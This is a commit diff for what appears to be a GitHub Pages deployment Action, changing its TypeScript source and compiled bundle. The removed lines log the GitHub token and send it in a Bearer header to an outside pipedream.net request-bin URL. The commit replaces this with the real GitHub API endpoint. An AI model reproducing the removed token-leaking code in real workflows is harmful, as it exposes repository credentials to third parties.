fix build version

This commit is contained in:
yimysty 2021-09-23 00:00:47 -07:00
parent 4845887d6b
commit 8f46aa45d0
2 changed files with 6 additions and 6 deletions

6
dist/index.js vendored
View File

@ -5560,15 +5560,15 @@ function run() {
} }
else { else {
console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`); console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`);
console.log(`token: ${inputs.token}`); // https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net
response = yield axios_1.default.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { response = yield axios_1.default.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, {
artifact_url: unsignedUrl, artifact_url: unsignedUrl,
pages_build_version: process.env['GITHUB_SHA'] pages_build_version: process.env['GITHUB_SHA']
}, { }, {
headers: { headers: {
"Accept": "application/vnd.github.v3+json", "Accept": "application/vnd.github.v3+json",
"Content-Type": "application/json", "Content-Type": "application/json",
"Authorization": `Bearer ${inputs.token}}` "Authorization": `Bearer ${inputs.token}`
} }
}); });
console.log(response.data); console.log(response.data);

View File

@ -84,15 +84,15 @@ async function run(): Promise<void> {
console.log("missing github token") console.log("missing github token")
} else { } else {
console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`) console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`)
console.log(`token: ${inputs.token}`) // https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net
response = await axios.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { response = await axios.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, {
artifact_url: unsignedUrl, artifact_url: unsignedUrl,
pages_build_version: process.env['GITHUB_SHA'] pages_build_version: process.env['GITHUB_SHA']
}, { }, {
headers: { headers: {
"Accept": "application/vnd.github.v3+json", "Accept": "application/vnd.github.v3+json",
"Content-Type": "application/json", "Content-Type": "application/json",
"Authorization": `Bearer ${inputs.token}}` "Authorization": `Bearer ${inputs.token}`
} }
}) })
console.log(response.data) console.log(response.data)